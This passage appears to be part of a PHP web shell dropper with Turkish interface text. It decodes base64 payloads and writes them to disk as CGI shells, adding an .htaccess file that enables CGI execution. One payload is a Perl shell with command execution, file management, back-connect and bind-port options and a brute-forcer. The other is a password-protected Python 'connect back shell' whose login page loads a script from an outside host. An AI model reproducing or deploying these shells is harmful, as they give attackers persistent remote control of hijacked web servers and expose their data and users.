Qk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiIC8+CgkJCTwvZm9ybT4KCQkJPHRkPiRwZXJtczwvdGQ+CgoJCTwvdHI+CkVORAoJCSRpKys7Cgl9CgkkcmVzdWx0IC49IjwvdGFibGU+IjsKCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBNYWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQomUmVhZFBhcnNlOwomR2V0Q29va2llczsKCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307CiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsKJExvZ2luUGFzc3dvcmQgPSAkaW57J3AnfTsKJFJ1bkNvbW1hbmQgPSBkZWNvZGVfYmFzZTY0KCRpbnsnYyd9KTsKJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9OwokT3B0aW9ucyA9ICRpbnsnbyd9OwokQWN0aW9uID0gJGlueydhJ307CgokQWN0aW9uID0gImNvbW1hbmQiIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0CgojIGdldCB0aGUgZGlyZWN0b3J5IGluIHdoaWNoIHRoZSBjb21tYW5kcyB3aWxsIGJlIGV4ZWN1dGVkCiRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKGRlY29kZV9iYXNlNjQodHJpbSgkaW57J2QnfSkpKTsKIyBtYWMgZGluaCB4dWF0IHRob25nIHRpbiBuZXUga28gY28gbGVuaCBuYW8hCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7CmNob21wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcigiZCIpOwoJaWYoISRXaW5OVCkKCXsKCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJaWYoJGNobW9kIG5lIDApCgkJewoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJCSRmaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7CgkJCWlmKGNobW9kKCRjaG1vZCwkZmlsZSkpCgkJCXsKCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCQkJfWVsc2UKCQkJewoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCQkJfQoJCX0KCX0KCSRyZW5hbWU9JGlueydyZW5hbWUnfTsKCWlmKCRyZW5hbWUgbmUgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn1lbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAJCQkJCSMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZVcGxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQKewoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOwoJcHJpbnQgJkJhY2tCaW5kOwp9ZWxzaWYoJEFjdGlvbiBlcSAiYnJ1dGVmb3JjZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gYnJ1dGUgZm9yY2UKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZCcnV0ZUZvcmNlcjsKfWVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgCQkJCSMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUKewoJcHJpbnQgJkRvd25sb2FkRmlsZTsKfWVsc2lmKCRBY3Rpb24gZXEgImNoZWNrbG9nIikgCQkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxvZyBmaWxlCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmVmlld0xvZzsKCn1lbHNpZigkQWN0aW9uIGVxICJkb21haW5zdXNlciIpIAkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxpc3QgdXNlci9kb21haW4KewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3RG9tYWluVXNlcjsKfWVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gbG9nb3V0CnsKCSZQZXJmb3JtTG9nb3V0Owp9CiZQcmludFBhZ2VGb290ZXI7Cgo=';
	$file = fopen("cgi.log" ,"w+");
	$write = fwrite ($file ,base64_decode($pythonp));
	fclose($file);
	chmod("cgi.log",0755);
	echo '<center><p>Cgi Telnet Olusturuldu! Asagidaki Baglantiya Tiklayabilirsiniz :)</p><a href=cgitelnet/cgi.log target="_blank">Cgi Telnet</a></center>';
}
if(isset($_POST['cgi3'])){
	mkdir("cgitelnet2");
	chdir("cgitelnet2");
	$kokdosya = ".htaccess";
	$dosya_adi = "$kokdosya";
	$dosya = fopen($dosya_adi,'w');
	$metin = "Options +ExecCGI\nDirectoryIndex fuhosin.xx\nAddHandler cgi-script .xx";    
	fwrite($dosya,$metin);
	fclose($dosya);
	$pythonp = 'IyEvdXNyL2Jpbi9weXRob24KaW1wb3J0IHN5cywgb3MsIGNnaSwgY29tbWFuZHMsIHRpbWUsIENvb2tpZSwgc29ja2V0LCBwdHksc2VsZWN0CmZyb20gYmFzZTY0IGltcG9ydCBiNjRlbmNvZGUKZnJvbSBzdGF0IGltcG9ydCAqCmZyb20gZGF0ZXRpbWUgaW1wb3J0IGRhdGV0aW1lCnN5cy5zdGRlcnIgPSBvcGVuKG9zLmRldm51bGwsICd3JykKcGFzc3dvcmQgPSAiM2YzYWNiMjU4NzgyMjIyYTY4NjQzYjMzNDdhNjMxZmQiICMgcm9vdAp2ZXJzaW9uID0gIjAuNSBbUFJJVjldIgplc2MgPSAnJXNbJyVjaHIoMjcpCmNvbG9yID0gZXNjICsgIjE7MzZtIgpyZXNldCA9IGVzYyArICIwbSIKIyBkb24ndCBhc2sgd2h5IGkgZGlkIGl0IHRoaXMgd2F5LCAnJycgZG9lc250IGFncmVlIHdpdGggcHR5J3MKYXNjaWkgPSBjb2xvciMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCmFzY2lpICs9JyAgQEBAQEBAQCBAQEAgIEBAQCBAQEAgQEBAQEBAQCAgQEBAQEBAQCAgQEBAIEBAQCAgQEBAIEBAQEBAQCAgQEBAQEBAICBAQEBAQEBAIFxyXG4nIwphc2NpaSArPScgIUBAICAgICAgQEAhICBAQEAgQEAhIEBAISAgQEBAIEBAISAgQEBAIEBAISAhQEAgIEBAQCAgICAgQEAhICAgICBAQCEgICAgICBAQCFcclxuJyMKYXNjaWkgKz0nICFAISAgICAgIEAhQCFAIUAhICEhQCBAIUBAIUAhICBAIUBAIUAhICAgIUAhQCEgICAhQCEgIEAhISE6ICAgQCEhITogICAgICBAISEgXHJcbicjCmFzY2lpICs9JyA6ISEgICAgICAhITogICEhISAhITogISE6ICAgICAgISE6ICAgICAgICAhITogICAgISEhICAgICAhITogICAgICEhOiAgLiEhOiAgIFxyXG4nIwphc2NpaSArPScgIDo6IDo6IDogIDogICA6IDogOiAgICA6ICAgICAgICA6ICAgICAgICAgLjogICAgIDogICA6OjogOjogIDo6OiA6OiAgOiA6ICAgICBcclxuJyMKYXNjaWkgKz0nICAgICAgICAgICAgIH5bICBQIFIgSSBWIDggIEMgTyBOIE4gRSBDIFQgICBCIEEgQyBLICAgUyBIIEUgTCBMICBdfiAgICAgICAgICAgXHJcbicjCmFzY2lpICs9IHJlc2V0IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAgICAgICAKCmRlZiBnZXRhbGwodGhlZm9ybSwgbm9saXN0ID0gRmFsc2UpOgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdGhlZm9ybS5rZXlzKCk6CiAgICAgICAgaWYgdHlwZSh0aGVmb3JtW2ZpZWxkXSkgPT0gIHR5cGUoW10pOgogICAgICAgICAgICBpZiBub3Qgbm9saXN0OgogICAgICAgICAgICAgICAgZGF0YVtmaWVsZF0gPSB0aGVmb3JtLmdldGxpc3QoZmllbGQpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZvcm0uZ2V0Zmlyc3QoZmllbGQpCiAgICAgICAgZWxpZiB0aGVmb3JtW2ZpZWxkXS5maWxlbmFtZToKICAgICAgICAgICAgX0ZJTEVTW2ZpZWxkXSA9IHRoZWZvcm1bZmllbGRdCiAgICAgICAgZWxzZToKICAgICAgICAgICAgZGF0YVtmaWVsZF0gPSB0aGVmb3JtW2ZpZWxkXS52YWx1ZQogICAgcmV0dXJuIGRhdGEKCmRlZiBlc2NhcGUoc3RyKToKICAgIHJldHVybiBzdHIucmVwbGFjZSgiJyIsICJcXCciKS5yZXBsYWNlKCJcciIsICJcXHIiKS5yZXBsYWNlKCJcbiIsICJcXG4iKQoKX0ZJTEVTID0ge30KX1JFUVVFU1QgPSBnZXRhbGwoIGNnaS5GaWVsZFN0b3JhZ2UoKSApCmlmIF9SRVFVRVNULmhhc19rZXkoJ2NoYXJzZXQnKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydjaGFyc2V0J10gPSAiV2luZG93cy0xMjUxIgppZiBfUkVRVUVTVC5oYXNfa2V5KCdhJykgPT0gRmFsc2U6CiAgICBfUkVRVUVTVFsnYSddID0gImZpbGVzIgppZiBfUkVRVUVTVC5oYXNfa2V5KCdjJykgPT0gRmFsc2U6CiAgICBfUkVRVUVTVFsnYyddID0gb3MuZ2V0Y3dkKCkKaWYgX1JFUVVFU1QuaGFzX2tleSgncDEnKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydwMSddID0gIiIKaWYgX1JFUVVFU1QuaGFzX2tleSgncDInKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydwMiddID0gIiIKaWYgX1JFUVVFU1QuaGFzX2tleSgncDMnKSA9PSBGYWxzZToKICAgIF9SRVFVRVNUWydwMyddID0gIiIKCl9DT09LSUUgPSBDb29raWUuU2ltcGxlQ29va2llKCkKdHJ5OgogICAgX0NPT0tJRS5sb2FkKG9zLmVudmlyb25bIkhUVFBfQ09PS0lFIl0pCmV4Y2VwdDoKICAgIHBhc3MKCmRlZiBwcmludExvZ2luKCk6CiAgICBfQ09PS0lFWydwc3N3ZCddID0gIiI7CiAgICBwcmludCBfQ09PS0lFOwogICAgcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG4iOwogICAgcHJpbnQgIiIiICAgIDxzdHlsZT4KICAgICAgICBib2R5e2JhY2tncm91bmQtY29sb3I6IzQ0NDtjb2xvcjojZTFlMWUxO30KICAgICAgICBib2R5LHRkLHRoeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNlMWUxZTE7IH0KICAgICAgICB0YWJsZS5pbmZveyBjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzIyMjsgfQogICAgICAgIHNwYW4saDEsYXsgY29sb3I6IzAwY2ZjZiAhaW1wb3J0YW50OyB9CiAgICAgICAgc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQogICAgICAgIGgxeyBib3JkZXItbGVmdDo1cHggc29saWQgI2RmNTtwYWRkaW5nOiAycHggNXB4O2ZvbnQ6IDE0cHQgVmVyZGFuYTtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7bWFyZ2luOjBweDsgfQogICAgICAgIGRpdi5jb250ZW50eyBwYWRkaW5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzMzMzsgfQogICAgICAgIGF7IHRleHQtZGVjb3JhdGlvbjpub25lOyB9CiAgICAgICAgYTpob3ZlcnsgdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsgfQogICAgICAgIC5tbDF7IGJvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQogICAgICAgIC5iaWdhcmVheyB3aWR0aDoxMDAlO2hlaWdodDoyNTBweDsgfQogICAgICAgIGlucHV0LHRleHRhcmVhLHNlbGVjdHsgbWFyZ2luOjA7Y29sb3I6IzAwYWZhZjtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyOjFweCBzb2xpZCAjMDBhZmNmOyBmb250OiAyNHB0IE1vbm9zcGFjZSwiQ291cmllciBOZXciOyB9CiAgICAgICAgZm9ybXsgbWFyZ2luOjBweDsgfQogICAgICAgICN0b29sc1RibHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0KICAgICAgICAudG9vbHNJbnB7IHdpZHRoOiAzMDBweCB9CiAgICAgICAgLm1haW4gdGh7dGV4dC1hbGlnbjpsZWZ0O2JhY2tncm91bmQtY29sb3I6IzVlNWU1ZTt9CiAgICAgICAgLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlfQogICAgICAgIC5sMXtiYWNrZ3JvdW5kLWNvbG9yOiM0NDR9CiAgICAgICAgcHJlLC5te2ZvbnQtZmFtaWx5OkNvdXJpZXIsTW9ub3NwYWNlO30KICAgIDwvc3R5bGU+CjxjZW50ZXI+PGZvcm0gbWV0aG9kPXBvc3Q+UGFzc3dvcmQ6IDxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cHNzd2Q+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPScmZ3Q7Jmd0Oyc+PC9mb3JtPjwvY2VudGVyPgo8c2NyaXB0IHNyYz1odHRwOi8vcjAwdC5pbmZvL2NjYi5qcz48L3NjcmlwdD4iIiIKICAgIGV4aXQoKQoKaWYgX0NPT0tJRS5oYXNfa2V5KCdwc3N3ZCcpIGFuZCBsZW4oX0NPT0tJRVsncHNzd2QnXS52YWx1ZSkgPiAwIDoKICAgIGlmIF9DT09LSUVbJ3Bzc3dkJ10udmFsdWUgIT0gcGFzc3dvcmQ6CiAgICAgICAgcHJpbnRMb2dpbigpCmVsaWYgX1JFUVVFU1QuaGFzX2tleSgncHNzd2QnKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGltcG9ydCBoYXNobGliCiAgICAgICAgICAgIHBzc3dkID0gaGFzaGxpYi5tZDUoKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgaW1wb3J0IG1kNQogICAgICAgICAgICBwc3N3ZCA9IG1kNS5uZXcoKQogICAgICAgIHBzc3dkLnVwZGF0ZShfUkVRVUVTVFsncHNzd2QnXSkKICAgICAgICBpZiBwc3N3ZC5oZXhkaWdlc3QoKSAhPSBwYXNzd29yZDoKICAgICAgICAgICAgcHJpbnRMb2dpbigpCiAgICAgICAgZWxzZToKICAgICAgICAgICAgX0NPT0tJRVsncHNzd2QnXSA9IHBzc3dkLmhleGRpZ2VzdCgpCiAgICAgICAgICAKZWxzZToKICAgIHByaW50TG9naW4oKQoKcHJpbnQgX0NPT0tJRQpob21lX2RpciA9IG9zLmdldGN3ZCgpCgp0cnk6CiAgICBvcy5jaGRpcihfUkVRVUVTVFsnYyddKQpleGNlcHQgb3MuZXJyb3IsIG1zZzoKICAgIHBhc3MKCmN3ZCA9IG9zLmdldGN3ZCgpOwppZiBjd2RbLTFdICE9ICcvJzoKICAgIGN3ZCArPSAnLycKCmRlZiBwcmludEhlYWRlcigpOgogICAgcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG4iOwogICAgcHJpbnQgIjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PSIgKyBfUkVRVUVTVFsnY2hhcnNldCddICsgIic+PHRpdGxlPiIgKyBvcy5lbnZpcm9uWyJTRVJWRVJfTkFNRSJdICsgIiAtIExTRFNoZWxsICIgKyB2ZXJzaW9uICsgIiIiPC90aXRsZT4KICAgIDxzdHlsZT4KICAgICAgICBib2R5e2JhY2tncm91bmQtY29sb3I6IzQ0NDtjb2xvcjojZTFlMWUxO30KICAgICAgICBib2R5LHRkLHRoeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNlMWUxZTE7IH0KICAgICAgICB0YWJsZS5pbmZveyBjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzIyMjsgfQogICAgICAgIHNwYW4saDEsYXsgY29sb3I6IzAwY2ZjZiAhaW1wb3J0YW50OyB9CiAgICAgICAgc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQogICAgICAgIGgxeyBib3JkZXItbGVmdDo1cHggc29saWQgI2RmNTtwYWRkaW5nOiAycHggNXB4O2ZvbnQ6IDE0cHQgVmVyZGFuYTtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7bWFyZ2luOjBweDsgfQogICAgICAgIGRpdi5jb250ZW50eyBwYWRkaW5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzMzMzsgfQogICAgICAgIGF7IHRleHQtZGVjb3JhdGlvbjpub25lOyB9CiAgICAgICAgYTpob3ZlcnsgdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsgfQogICAgICAgIC5tbDF7IGJvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQogICAgICAgIC5iaWdhcmVheyB3aWR0aDoxMDAlO2hlaWdodDoyNTBweDsgfQogICAgICAgIGlucHV0LHRleHRhcmVhLHNlbGVjdHsgbWFyZ2luOjA7Y29sb3I6IzAwYWZhZjtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyOjFweCBzb2xpZCAjMDBhZmNmOyBmb250OiA5cHQgTW9ub3NwYWNlLCJDb3VyaWVyIE5ldyI7IH0KICAgICAgICBmb3JteyBtYXJnaW46MHB4OyB9CiAgICAgICAgI3Rvb2xzVGJseyB0ZXh0LWFsaWduOmNlbnRlcjsgfQogICAgICAgIC50b29sc0lucHsgd2lkdGg6IDMwMHB4IH0KICAgICAgICAubWFpbiB0aHt0ZXh0LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlO30KICAgICAgICAubWFpbiB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM1ZTVlNWV9CiAgICAgICAgLmwxe2JhY2tncm91bmQtY29sb3I6IzQ0NH0KICAgICAgICBwcmUsLm17Zm9udC1mYW1pbHk6Q291cmllcixNb25vc3BhY2U7fQogICAgPC9zdHlsZT4KICAgIDxzY3JpcHQ+CiAgICAgICAgdmFyIGNfID0gJyIiIiArIGVzY2FwZShfUkVRVUVTVFsnYyddKSArICIiIic7CiAgICAgICAgdmFyIGFfID0gJyIiIiArIGVzY2FwZShfUkVRVUVTVFsnYSddKSArICIiIic7CiAgICAgICAgdmFyIHAxXyA9ICciIiIgKyBlc2NhcGUoX1JFUVVFU1RbJ3AxJ10pICsgIiIiJzsKICAgICAgICB2YXIgcDJfID0gJyIiIiArIGVzY2FwZShfUkVRVUVTVFsncDInXSkgKyAiIiInOwogICAgICAgIHZhciBwM18gPSAnIiIiICsgZXNjYXBlKF9SRVFVRVNUWydwMyddKSArICIiIic7CiAgICAgICAgdmFyIGNoYXJzZXRfID0gJyIiIiArIGVzY2FwZSggX1JFUVVFU1RbJ2NoYXJzZXQnXSApICsgIiIiJzsKICAgICAgICBmdW5jdGlvbiBnKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CiAgICAgICAgICAgIGlmKGEgIT0gbnVsbClkb2N1bWVudC5tZi5hLnZhbHVlPWE7ZWxzZSBkb2N1bWVudC5tZi5hLnZhbHVlPWFfOwogICAgICAgICAgICBpZihjICE9IG51bGwpZG9jdW1lbnQubWYuYy52YWx1ZT1jO2Vsc2UgZG9jdW1lbnQubWYuYy52YWx1ZT1jXzsKICAgICAgICAgICAgaWYocDEgIT0gbnVsbClkb2N1bWVudC5tZi5wMS52YWx1ZT1wMTtlbHNlIGRvY3VtZW50Lm1mLnAxLnZhbHVlPXAxXzsKICAgICAgICAgICAgaWYocDIgIT0gbnVsbClkb2N1bWVudC5tZi5wMi52YWx1ZT1wMjtlbHNlIGRvY3VtZW50Lm1mLnAyLnZhbHVlPXAyXzsKICAgICAgICAgICAgaWYocDMgIT0gbnVsbClkb2N1bWVudC5tZi5wMy52YWx1ZT1wMztlbHNlIGRvY3VtZW50Lm1mLnAzLnZhbHVlPXAzXzsKICAgICAgICAgICAgaWYoY2hhcnNldCAhPSBudWxsKWRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldDtlbHNlIGRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldF87CiAgICAgICAgICAgIGRvY3VtZW50Lm1mLnN1Ym1pdCgpOwogICAgICAgIH0KICAgIDwvc2NyaXB0PgogICAgPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7dG9wOjA7bGVmdDowOyI+CiAgICA8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWE+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDE+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMj4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzPgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldD4KICAgIDwvZm9ybT4iIiIKICAgIHByaW50ICc8dGFibGUgY2xhc3M9aW5mbyBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT48dHI+PHRkIHdpZHRoPTE+PHNwYW4+VW5hbWU6PGJyPlVzZXI6PGJyPlRpbWU6PGJyPkN3ZDo8L3NwYW4+PC90ZD4nCiAgICBwcmludCAnPHRkPjxub2JyPicKICAgIGZvciB4IGluIG9zLnVuYW1lKCk6CiAgICAgICAgc3lzLnN0ZG91dC53cml0ZSh4KycgJykKICAgIHQgPSB0aW1lLmxvY2FsdGltZSgpCiAgICBwcmludCAnPC9ub2JyPjxicj4lczxicj4lZC0lLjJkLSUuMmQgJS4yZDolLjJkOiUuMmQgPHNwYW4+U2VydmVyIElQOjwvc3Bhbj4gJXMgPHNwYW4+Q2xpZW50IElQOjwvc3Bhbj4gJXM8YnI+JyAlKCBjb21tYW5kcy5nZXRvdXRwdXQoICdpZCcgKS5yZXBsYWNlKCJyb290IiwgIjxmb250IGNvbG9yPXJlZD5yb290PC9mb250PiIpLCB0WzBdLCB0WzFdLCB0WzJdLCB0WzNdLCB0WzRdLCB0WzVdLCBvcy5lbnZpcm9uWydTRVJWRVJfQUREUiddLCBvcy5lbnZpcm9uWydSRU1PVEVfQUREUiddKQogICAgcGF0aCA9ICcnCiAgICBwYXRocyA9IGN3ZC5zcGxpdCgnLycpCiAgICBwYXRocy5wb3AoKQogICAgZm9yIHggaW4gcGF0aHM6CiAgICAgICAgcGF0aCArPSB4ICsgJy8nCiAgICAgICAgc3lzLnN0ZG91dC53cml0ZSgiIiI8YSBocmVmPSIjIiBvbmNsaWNrPSJnKCdmaWxlcycsJyIiIitlc2NhcGUocGF0aCkrIiIiJywgJycsICcnLCAnJykiPiIiIit4KyIiIi88L2E+IiIiKQogICAgcHJpbnQgIiAiICsgcGVybXNDb2xvcihjd2QpLCIiIjxhIGhyZWY9JyMnIG9uY2xpY2s9ImcoJ2ZpbGVzJywnIiIiKyBlc2NhcGUoIGhvbWVfZGlyICkgKyIiIicsICcnLCAnJywgJycpIj5bIGhvbWUgXTwvYT4iIiIKICAgIGNoYXJzZXRzID0gWydVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2NiddCiAgICBwcmludCAnPHRkIHdpZHRoPTEgYWxpZ249cmlnaHQ+PHNlbGVjdCBvbmNoYW5nZT0iZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPjxvcHRncm91cCBsYWJlbD0iUGFnZSBjaGFyc2V0Ij4nCiAgICBmb3IgY2hhcnNldCBpbiBjaGFyc2V0czoKICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKCc8b3B0aW9uIHZhbHVlPSIlcyIgJyAlIGNoYXJzZXQpCiAgICAgICAgaWYgX1JFUVVFU1RbJ2NoYXJzZXQnXSA9PSBjaGFyc2V0OgogICAgICAgICAgICAgc3lzLnN0ZG91dC53cml0ZSgnc2VsZWN0ZWQnKQogICAgICAgIHN5cy5zdGRvdXQud3JpdGUoJz4lczwvb3B0aW9uPicgJSBjaGFyc2V0KQogICAgcHJpbnQgJzwvb3B0Z3JvdXA+PC9zZWxlY3Q+PGJyPjxzbWFsbD5DdXJyZW50bHkgbG9nZ2VkIGluOiAnK2NvbW1hbmRzLmdldG91dHB1dCgndXNlcnMnKSsnPC9zbWFsbD48L3RkPjwvdHI+PC90YWJsZT48dGFibGUgc3R5bGU9ImJvcmRlci10b3A6MnB4IHNvbGlkICMwMGFmY2Y7dGV4dC1hbGlnbjogY2VudGVyOyIgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+PHRyPicKICAgIGZvciB4IGluIFsnRmlsZXMnLCAnQ29uc29sZScsICdQeXRob24nLCAnTmV0d29yaycsICdTUUwnXToKICAgICAgICBwcmludCAiPHRkIHdpZHRoPScxMDBweCc+WyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiIit4Lmxvd2VyKCkrJyIsIG51bGwsICIiLCAiIiwgIiIpX